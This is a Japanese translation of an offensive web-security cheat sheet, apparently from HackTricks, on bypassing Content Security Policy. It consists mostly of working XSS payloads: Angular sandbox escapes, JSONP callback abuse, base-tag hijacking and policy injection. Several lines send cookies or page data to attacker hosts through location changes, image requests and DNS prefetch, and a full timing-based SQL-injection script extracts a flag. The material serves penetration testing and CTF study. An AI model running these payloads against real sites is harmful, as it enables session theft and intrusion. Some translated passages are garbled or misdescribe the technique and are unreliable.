48 KiB
コンテンツセキュリティポリシー(CSP)バイパス
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ会社で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。
HackenProofはすべての暗号バグバウンティのホームです。
遅延なしで報酬を受け取る
HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
Web3ペンテストの経験を積む
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!上昇期のweb3セキュリティをマスターしましょう。
Web3ハッカーレジェンドになる
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
HackenProofでサインアップして、ハッキングから報酬を得ましょう!
{% embed url="https://hackenproof.com/register" %}
CSPとは
コンテンツセキュリティポリシー(Content Security PolicyまたはCSP)は、クロスサイトスクリプティング(XSS)などの攻撃から保護するための組み込みブラウザ技術です。ブラウザが安全にリソースを読み込みできるパスとソースをリスト化および説明します。リソースには画像、フレーム、JavaScriptなどが含まれる場合があります。以下は、ローカルドメイン(self)からのリソースの読み込みとインラインでの実行、およびeval
、setTimeout
、setInterval
などの文字列コード実行関数の許可例です。
コンテンツセキュリティポリシーは、レスポンスヘッダまたはHTMLページのメタ要素を介して実装されます。ブラウザは受信したポリシーに従い、違反が検出されると積極的にブロックします。
レスポンスヘッダを介して実装されます:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
メタタグを使用して実装されます:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
ヘッダー
Content-Security-Policy
Content-Security-Policy-Report-Only
これは何もブロックせず、レポートのみを送信します(Pre環境で使用)。
リソースの定義
CSPは、アクティブおよびパッシブコンテンツが読み込まれる元の制限によって機能します。また、インラインのJavaScriptの実行やeval()
の使用など、アクティブコンテンツの特定の側面を制限することもできます。
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
ディレクティブ
- script-src: このディレクティブはJavaScriptの許可されたソースを指定します。これには、要素に直接ロードされるURLだけでなく、インラインスクリプトイベントハンドラ(onclick)やスクリプトの実行をトリガーすることができるXSLTスタイルシートも含まれます。
- default-src: このディレクティブは、デフォルトでリソースを取得するためのポリシーを定義します。CSPヘッダーにフェッチディレクティブが存在しない場合、ブラウザはデフォルトでこのディレクティブに従います。
- Child-src: このディレクティブは、Webワーカーや埋め込みフレームのコンテンツに許可されたリソースを定義します。
- connect-src: このディレクティブは、fetch、websocket、XMLHttpRequestなどのインターフェースを使用してロードするURLを制限します。
- frame-src: このディレクティブは、呼び出すことができるフレームのURLを制限します。
- frame-ancestors: このディレクティブは、現在のページを埋め込むことができるソースを指定します。このディレクティブは
<frame>
、<iframe>
、<object>
、<embed>
、または<applet>
に適用されます。このディレクティブはタグ内では使用できず、非HTMLリソースにのみ適用されます。 - img-src: これはウェブページで画像をロードするための許可されたソースを定義します。
- font-src: このディレクティブは、
@font-face
を使用してロードされるフォントの有効なソースを指定します。 - manifest-src: このディレクティブは、アプリケーションマニフェストファイルの許可されたソースを定義します。
- media-src: これはメディアオブジェクトをロードするための許可されたソースを定義します。
- object-src: これは<object>、<embed>、および<applet>要素の許可されたソースを定義します。
- base-uri: これは要素を使用してロードできる許可されたURLを定義します。
- form-action: このディレクティブは、タグからの送信のための有効なエンドポイントをリストします。
- plugin-types: これはページが呼び出すことができるMIMEタイプの種類を制限します。
- upgrade-insecure-requests: このディレクティブは、URLスキームを書き換えてHTTPをHTTPSに変更するようブラウザに指示します。このディレクティブは、大量の古いURLを書き換える必要があるウェブサイトに便利です。
- sandbox: sandboxディレクティブは、リクエストされたリソースに対してsandbox属性と同様の制限を適用します。これにより、ポップアップの防止、プラグインとスクリプトの実行の防止、同一オリジンポリシーの強制など、ページのアクションが制限されます。
ソース
- *: これは
data:
、blob:
、filesystem:
スキーム以外の任意のURLを許可します。 - self: このソースは、ページ上のリソースのロードが同じドメインから許可されていることを定義します。
- data: このソースは、データスキームを介してリソースをロードすることを許可します(例:Base64エンコードされた画像)。
- none: このディレクティブは、どのソースからも何もロードできないようにします。
- unsafe-eval: これはeval()や類似のメソッドを使用して文字列からコードを作成することを許可します。これは安全なプラクティスではないため、このソースを任意のディレクティブに含めることは推奨されません。同じ理由で、unsafeという名前が付けられています。
- unsafe-hashes: これにより、特定のインラインイベントハンドラの有効化が可能になります。
- unsafe-inline: これにより、インラインリソース(インライン要素、javascript:URL、インラインイベントハンドラ、インライン要素など)の使用が許可されます。セキュリティ上の理由から、これは推奨されません。
- nonce: 暗号化されたnonce(一度だけ使用される数値)を使用して特定のインラインスクリプトをホワイトリストに登録します。サーバーは、ポリシーを送信するたびに一意のnonce値を生成する必要があります。
- sha256-<hash>: 特定のsha256ハッシュを持つスクリプトをホワイトリストに登録します。
- strict-dynamic: これにより、以前に「nonce」または「hash」値によってホワイトリストに登録されたスクリプトソースから、ブラウザがDOM内で新しいJavaScriptタグをロードおよび実行できるようになります。
- host: example.comなどのホストを示します。
危険なCSPルール
'unsafe-inline'
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
動作するペイロード:"/><script>alert(1);</script>
Iframesを使用したself + 'unsafe-inline'
{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}
'unsafe-eval'
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
動作するペイロード:
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
strict-dynamic
もし何らかの方法で、許可されたJSコードが新しいスクリプトタグをDOMに作成することができれば、許可されたスクリプトがそれを作成しているため、新しいスクリプトタグは実行が許可されます。
ワイルドカード (*)
Content-Security-Policy: script-src 'self' https://google.com https: data *;
動作するペイロード:
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
object-srcとdefault-srcの不足
{% hint style="danger" %} これはもう機能しないようです {% endhint %}
Content-Security-Policy: script-src 'self' ;
動作するペイロード:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
ファイルのアップロード + 'self'
概要
このテクニックは、Content Security Policy(CSP)の設定によって制限されたウェブアプリケーションで、ファイルのアップロードをバイパスする方法です。CSPは、ウェブアプリケーションのセキュリティを向上させるために使用されるヘッダーですが、適切に構成されていない場合、攻撃者はファイルのアップロードを回避することができます。
詳細
CSPは、ウェブアプリケーションが許可するリソースの制御を目的としています。通常、CSPは、Content-Security-Policy
ヘッダーを使用して設定されます。このヘッダーには、許可されるドメイン、スクリプトの実行方法、画像の読み込み元などの指示が含まれています。
ファイルのアップロードを制限するために、CSPは通常、self
ディレクティブを使用します。これにより、ウェブアプリケーションは同じオリジンからのみファイルのアップロードを許可します。しかし、攻撃者は、self
ディレクティブをバイパスする方法を見つけることができます。
攻撃者がself
ディレクティブをバイパスするために使用する一般的な方法は、ファイルのアップロード機能を提供するサードパーティのサービスを利用することです。たとえば、Google ドライブや Dropbox のようなクラウドストレージサービスを使用することができます。攻撃者は、ウェブアプリケーションにファイルをアップロードする代わりに、サードパーティのサービスにファイルをアップロードし、そのファイルの URL を取得します。
攻撃者は、取得したファイルの URL をウェブアプリケーションに提供することで、CSPの制限を回避します。ウェブアプリケーションは、攻撃者が提供した URL を信頼し、そのファイルを処理します。これにより、攻撃者はCSPの制限を回避し、任意のファイルをアップロードすることができます。
対策
この攻撃を防ぐためには、CSPの設定を適切に行う必要があります。self
ディレクティブを使用する場合、ウェブアプリケーションが信頼するドメインのみを指定する必要があります。また、サードパーティのサービスを使用する場合は、信頼できるサービスのみを選択する必要があります。
さらに、ファイルのアップロード機能を提供する場合は、アップロードされたファイルの検証と制限を行う必要があります。ファイルの種類、サイズ、およびアップロード先のパスなどを検証し、不正なファイルのアップロードを防止することが重要です。
まとめ
ファイルのアップロードを制限するためにCSPを使用する場合、self
ディレクティブをバイパスする攻撃手法が存在します。攻撃者は、サードパーティのサービスを利用してCSPの制限を回避し、任意のファイルをアップロードすることができます。適切なCSPの設定とファイルの検証を行うことで、この攻撃を防ぐことができます。
Content-Security-Policy: script-src 'self'; object-src 'none' ;
もしJSファイルをアップロードできるなら、このCSPをバイパスすることができます。
動作するペイロード:
"/>'><script src="/uploads/picture.png.js"></script>
しかし、サーバーがアップロードされたファイルを検証し、特定の種類のファイルのみをアップロードできるようにしている可能性が非常に高いです。
さらに、サーバーが受け入れる拡張子(例:script.png_のような)を使用してファイル内にJSコードをアップロードできたとしても、これだけでは十分ではありません。なぜなら、Apacheサーバーのような一部のサーバーは、拡張子に基づいてファイルのMIMEタイプを選択し、Chromeのようなブラウザは、画像であるべきものに含まれるJavascriptコードを実行しないように拒否します。幸いなことに、ここでミスがあります。たとえば、CTFから学んだところによれば、Apacheは.wave_拡張子を認識しないため、**audio/***のようなMIMEタイプで提供しません。
ここから、XSSとファイルのアップロードを見つけ、誤解された拡張子を見つけることができれば、その拡張子を持つファイルとスクリプトの内容をアップロードしてみることができます。または、サーバーがアップロードされたファイルの正しい形式をチェックしている場合は、ポリグロット(ここにいくつかのポリグロットの例があります)を作成してみてください。
サードパーティのエンドポイント + ('unsafe-eval')
{% hint style="warning" %}
以下のペイロードの一部には、unsafe-eval
は必要ありません。
{% endhint %}
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
脆弱性のあるバージョンのAngularを読み込み、任意のJavaScriptを実行します:
<script src="https://example.com/angular/vulnerable-version.js"></script>
This will load the vulnerable version of Angular from the specified URL and execute any arbitrary JavaScript code contained within it.
これにより、指定されたURLから脆弱性のあるAngularのバージョンが読み込まれ、それに含まれる任意のJavaScriptコードが実行されます。
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
Angular + window
オブジェクトを返す関数を持つライブラリを使用したペイロード(この投稿をチェックしてください):
{% hint style="info" %}
この投稿では、cdn.cloudflare.com
(または他の許可されたJSライブラリのリポジトリ)からすべてのライブラリをロードし、各ライブラリから追加されたすべての関数を実行し、どの関数がどのライブラリからwindow
オブジェクトを返すかを確認できることを示しています。
{% endhint %}
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>
サードパーティのエンドポイント + JSONP
JSONP(JSON with Padding)は、クロスドメインリクエストを実現するための一般的な手法です。これは、ウェブアプリケーションが異なるドメインのサードパーティエンドポイントにリクエストを送信する場合に使用されます。
JSONPは、スクリプトタグを使用して外部スクリプトを読み込む方法を利用しています。ウェブアプリケーションは、サードパーティのエンドポイントに対してスクリプトタグを生成し、コールバック関数を指定します。サードパーティのエンドポイントは、指定されたコールバック関数を含むJSONデータを返します。ウェブアプリケーションは、コールバック関数を使用してJSONデータを処理します。
この手法は、Content Security Policy(CSP)によって制限される場合があります。CSPは、ウェブアプリケーションが許可されたリソースのみにアクセスできるようにするためのセキュリティメカニズムです。CSPが適用されている場合、ウェブアプリケーションは指定されたドメイン以外のエンドポイントにリクエストを送信することはできません。
しかし、CSPバイパスのテクニックを使用することで、JSONPを使用してサードパーティのエンドポイントにリクエストを送信することができます。これにより、CSPの制限を回避し、クロスドメインリクエストを実現することができます。
CSPバイパスの一般的な手法には、以下のようなものがあります。
- ホワイトリストされたドメインを使用する
- リクエストヘッダを操作する
- サブリソースインテグリティ(SRI)をバイパスする
- リダイレクトを利用する
これらの手法を使用することで、CSPをバイパスし、JSONPを使用したクロスドメインリクエストを実現することができます。ただし、これらの手法はセキュリティ上のリスクを伴うため、慎重に使用する必要があります。
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
次のようなシナリオでは、script-src
がself
と特定のドメインに設定されている場合、JSONPを使用して回避することができます。 JSONPエンドポイントは、安全でないコールバックメソッドを許可するため、攻撃者はXSSを実行することができます。有効なペイロードは以下の通りです:
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
JSONBee には、さまざまなウェブサイトのCSPバイパスに使用できるJSONPエンドポイントが含まれています。
同じ脆弱性は、信頼されたエンドポイントにオープンリダイレクトが含まれている場合にも発生します。なぜなら、初期のエンドポイントが信頼されている場合、リダイレクトも信頼されるからです。
フォルダパスバイパス
CSPポリシーがフォルダを指す場合、"/"をエンコードするために%2fを使用しても、それはまだフォルダ内にあると見なされます。すべてのブラウザがこれに同意しているようです。
これにより、サーバーがデコードする場合には、%2f..%2fを使用してバイパスすることができます。たとえば、CSPがhttp://example.com/company/
を許可している場合、フォルダの制限をバイパスして次のコードを実行できます:http://example.com/company%2f..%2fattacker/file.js
オンラインの例: https://jsbin.com/werevijewa/edit?html,output
IframesでのJS実行
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}
base-uriの不足
base-uriディレクティブが不足している場合、dangling markup injectionを実行するために悪用することができます。
さらに、脆弱なページが相対パス(例:/js/app.js
)を使用してスクリプトをロードしている場合、Nonceを使用して、base tagを悪用してスクリプトを自分のサーバーからロードし、XSSを達成することができます。
脆弱なページがhttpSでロードされている場合は、baseでhttpSのURLを使用してください。
<base href="https://www.attacker.com/">
AngularJS イベント
特定のポリシーによって、CSPはJavaScriptイベントをブロックする場合があります。ただし、AngularJSは独自のイベントを定義しており、代わりに使用することができます。イベント内部では、AngularJSは$event
という特別なオブジェクトを定義しています。このオブジェクトは単純にブラウザのイベントオブジェクトを参照します。このオブジェクトを使用してCSPをバイパスすることができます。Chromeでは、$event/event
オブジェクトにはpath
という特別なプロパティがあります。このプロパティには、イベントの実行を引き起こすオブジェクトの配列が含まれています。最後のプロパティは常にwindow
オブジェクトであり、これを使用してサンドボックスを脱出することができます。この配列をorderBy
フィルタに渡すことで、配列を列挙し、最後の要素(window
オブジェクト)を使用してalert()
などのグローバル関数を実行することができます。以下のコードはこれを示しています:
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
他のAngularバイパスをhttps://portswigger.net/web-security/cross-site-scripting/cheat-sheet で見つける
AngularJSとホワイトリストに登録されたドメイン
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
もしアプリケーションがAngular JSを使用しており、スクリプトがホワイトリストに登録されたドメインからロードされている場合、コールバック関数と脆弱性のあるクラスを呼び出すことで、このCSPポリシーをバイパスすることが可能です。詳細については、この素晴らしいgitリポジトリをご覧ください。
動作するペイロード:
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
他のJSONP任意実行エンドポイントはこちらで見つけることができます(一部は削除または修正されました)。
ダングリングマークアップを使用してCSPをバイパスする
こちらで詳細を読む。
'unsafe-inline'; img-src *; によるXSS経由
default-src 'self' 'unsafe-inline'; img-src *;
'unsafe-inline'
は、コード内で任意のスクリプトを実行できることを意味します(XSSはコードを実行できます)。また、img-src *
は、ウェブページで任意のリソースからの画像を使用できることを意味します。
このCSPをバイパスする方法は、画像を介してデータを外部に漏洩させることです(この場合、XSSはボットによってアクセス可能なページでCSRFを悪用し、SQLiを含んだフラグを画像を通じて抽出します)。
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
この設定を悪用して、画像内に挿入されたJavaScriptコードを読み込むこともできます。たとえば、ページがTwitterから画像を読み込むことを許可している場合、特別な画像を作成し、Twitterにアップロードして、"unsafe-inline"を悪用して通常のXSSとしてJSコードを実行し、画像からJSを抽出して実行することができます:https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/
サービスワーカーを使用する場合
サービスワーカーの**importScripts
**関数はCSPの制限を受けません:
{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}
ポリシーインジェクション
研究: https://portswigger.net/research/bypassing-csp-with-policy-injection
Chrome
あなたが送信したパラメータがポリシーの宣言内に貼り付けられている場合、ポリシーを無効にするような方法でポリシーを変更することができます。以下のいずれかのバイパスを使用して、スクリプト 'unsafe-inline' を許可することができます:
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
このディレクティブは、既存のscript-srcディレクティブを上書きします。
ここに例があります:http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E
Edge
Edgeでは、CSPにこれだけ追加できれば、;_
Edgeはポリシー全体を無効にします。
例:http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E
img-src *;によるXSS(iframe)- タイムアタック
ディレクティブ'unsafe-inline'
が欠落していることに注意してください。
今回は、<iframe
を使用して被害者にあなたの制御下のページを読み込ませることができます。今回は被害者に情報(CSRF)を抽出したいページにアクセスさせます。ページの内容にはアクセスできませんが、ページの読み込みにかかる時間を制御できる場合、必要な情報を抽出することができます。
今回は、フラグが抽出されます。SQLiによって文字が正しく推測されるたびに、応答がスリープ関数のためにより長くなります。その後、フラグを抽出できます。
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}
function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}
async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}
let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'
async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t = await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}
run();
</script>
ブックマークレットを介して
この攻撃は、攻撃者がユーザーに対してブラウザのブックマークレット上にリンクをドラッグアンドドロップするように説得することを意味します。このブックマークレットには、ドラッグアンドドロップまたはクリックされた場合に、現在のウェブウィンドウのコンテキストで実行される悪意のあるJavaScriptコードが含まれており、CSPをバイパスし、クッキーやトークンなどの機密情報を盗むことができます。
詳細については、こちらの元のレポートをご覧ください。
CVE-2020-6519
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
情報の漏洩 CSP + Iframe
ページがリダイレクトされ、ユーザーに応じて秘密のある別のページにリダイレクトする状況を想像してみてください。例えば、ユーザーadminがredirectme.domain1.comにアクセスすると、adminsecret321.domain2.comにリダイレクトされ、adminにXSSを引き起こすことができます。
また、リダイレクトされるページはセキュリティポリシーによって許可されていませんが、リダイレクトするページは許可されています。
管理者がリダイレクトされるドメインを以下の方法で漏洩することができます:
- CSP違反を通じて
- CSPルールを通じて
CSP違反は即座に漏洩します。https://redirectme.domain1.com
を指すiframeを読み込み、securitypolicyviolation
イベントを監視します。このイベントには、ブロックされたURIのドメインを含むblockedURI
プロパティが含まれています。これは、CSPによってブロックされるhttps://adminsecret321.domain2.com
にリダイレクトされるためです(CSPによってブロックされます)。これは、CSPを使用したiframeの未定義の動作を利用しています。ChromeとFirefoxはこれに関して異なる動作をします。
秘密のサブドメインを構成する可能性のある文字を知っている場合、CSPがリソースをブロックした時としなかった時を確認するために、バイナリサーチを使用して異なる禁止ドメインをCSPに作成することもできます(この場合、秘密はdoc-X-XXXX.secdrivencontent.devの形式である可能性があります)。
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
トリックはここから。
HackenProofはすべての暗号バグ報奨金の場所です。
遅延なしで報酬を受け取る
HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ開始されます。バグが検証された後に報奨金を受け取ることができます。
Web3ペンテストの経験を積む
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長期におけるWeb3セキュリティをマスターしましょう。
Web3ハッカーレジェンドになる
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
HackenProofでサインアップして、ハッキングから収益を得ましょう!
{% embed url="https://hackenproof.com/register" %}
CSPをバイパスするための安全でない技術
PHPレスポンスバッファの過負荷
PHPはデフォルトでレスポンスを4096バイトまでバッファリングすることで知られています。したがって、PHPが警告を表示している場合、警告内に十分なデータを提供することで、CSPヘッダーの前にレスポンスが送信され、ヘッダーが無視されます。
そのため、この技術は基本的にはレスポンスバッファを警告で埋めることで、CSPヘッダーが送信されないようにするというものです。
アイデアはこの解説から得られました。
エラーページの書き換え
この解説によると、CSP保護をバイパスするために、エラーページ(CSPなしである可能性があります)を読み込んでその内容を書き換えることができたようです。
a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);
SOME + 'self' + wordpress
SOMEは、ページのエンドポイントでのXSS(または非常に制限されたXSS)を悪用して、同じオリジンの他のエンドポイントを悪用する技術です。これは、攻撃者のページから脆弱なエンドポイントを読み込み、その後、攻撃者のページを同じオリジンの実際のエンドポイントにリフレッシュすることで行われます。これにより、脆弱なエンドポイントはペイロード内の**opener
**オブジェクトを使用して、悪用するための実際のエンドポイントのDOMにアクセスすることができます。詳細については、次を参照してください:
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}
さらに、wordpressには/wp-json/wp/v2/users/1?_jsonp=data
というJSONPエンドポイントがあり、出力に送信されたデータを反映します(ただし、文字、数字、ドットのみが制限されます)。
攻撃者は、このエンドポイントを悪用してWordPressに対してSOME攻撃を生成し、<script s
rc=/wp-json/wp/v2/users/1?_jsonp=some_attack></script>
の中に埋め込むことができます。このスクリプトは、'self'によって許可されているため、ロードされます。さらに、WordPressがインストールされているため、攻撃者はSOME攻撃をバイパスするための脆弱な****コールバックエンドポイントを悪用することができます。これにより、ユーザーにより多くの特権を与えたり、新しいプラグインをインストールしたりすることができます...
この攻撃の実行方法の詳細については、https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/を参照してください。
CSP情報漏洩のバイパス
外部サーバーとのやり取りを許可しない厳格なCSPがある場合、情報を漏洩させるために常に行えるいくつかの方法があります。
Location
単純に場所を更新して、秘密の情報を攻撃者のサーバーに送信することができます:
var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;
メタタグ
メタタグを注入することでリダイレクトすることができます(これは単なるリダイレクトであり、コンテンツは漏洩しません)。
<meta http-equiv="refresh" content="1; http://attacker.com">
DNS プリフェッチ
ページを高速に読み込むために、ブラウザはホスト名を事前に IP アドレスに解決し、後で使用するためにキャッシュします。
ブラウザにホスト名を事前に解決させるためには、次のように指定します:<link reol="dns-prefetch" href="something.com">
これを悪用して、DNS リクエストを介して機密情報を漏洩することができます。
var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
別の方法:
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
この問題を回避するために、サーバーは次のHTTPヘッダーを送信することができます:
X-DNS-Prefetch-Control: off
{% hint style="info" %} 明らかに、このテクニックはヘッドレスブラウザ(ボット)では機能しません。 {% endhint %}
WebRTC
いくつかのページでは、WebRTCはCSPのconnect-src
ポリシーをチェックしないと書かれています。
var pc = new RTCPeerConnection({"iceServers":[{"urls":["turn:74.125.140.127:19305?transport=udp"],"username":"_all_your_data_belongs_to_us","credential":"."}]});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp));
ただし、それはもはや不可能ではないようには見えません(少なくとも簡単ではありません)。
もしWebRTCで情報を外部に流出させる方法を知っている場合は、プルリクエストを送ってください!
オンラインでCSPポリシーをチェックする
CSPを自動的に作成する
https://csper.io/docs/generating-content-security-policy
参考文献
- https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/
- https://lcamtuf.coredump.cx/postxss/
- https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d
- https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme
- https://www.youtube.com/watch?v=MCyPuOWs3dg
HackenProofはすべての暗号バグ報奨金の場です。
遅延なしで報酬を受け取る
HackenProofの報奨金は、顧客が報奨金予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
Web3ペントestingの経験を積む
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!成長するWeb3セキュリティをマスターしましょう。
Web3ハッカーレジェンドになる
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
HackenProofにサインアップしてハッキングから報酬を得ましょう!
{% embed url="https://hackenproof.com/register" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝してみませんか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見しましょう、私たちの独占的なNFTのコレクション
- 公式のPEASS&HackTricksグッズを手に入れましょう
- 💬 DiscordグループまたはTelegramグループに参加するか、Twitter 🐦@carlospolopmをフォローしてください。
